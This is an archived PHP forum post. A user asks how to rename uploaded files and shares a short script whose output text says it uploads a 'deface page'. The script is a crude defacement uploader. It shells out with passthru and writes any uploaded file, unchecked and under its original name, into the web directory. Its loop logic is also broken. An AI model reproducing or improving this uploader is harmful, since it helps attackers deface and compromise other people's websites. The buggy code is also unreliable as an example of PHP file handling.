Jump to content

Changing the name of an uploaded file


Tryptamine

Recommended Posts

Hello all, I have a script that allows one file to be uploaded at a time, which is all I need. What I am attempting to do is change the filename to a specific filename. So if I uploaded a file called "something.html" it would upload it, but rename it to "somethingelse.txt"

 

Here's the code I'm using:

 

<?php
Echo "Path where deface page will be uploaded: <p>";
$cd = passthru(pwd);
$path = $cd;
$target_path = "$path";
do if ($_FILES != null)
{
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
    echo "<br /><br /><font size=3 face=arial color=white>Success!</font>";
} else{
    echo "<br /><br /><font size=3 face=arial color=red>Upload failed. =/ Do you have write access?</font>";
}
} while ($_FILES = null);
echo "$_FILES";
?>

 

Any suggestions?

Link to comment
https://forums.phpfreaks.com/topic/244049-changing-the-name-of-an-uploaded-file/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.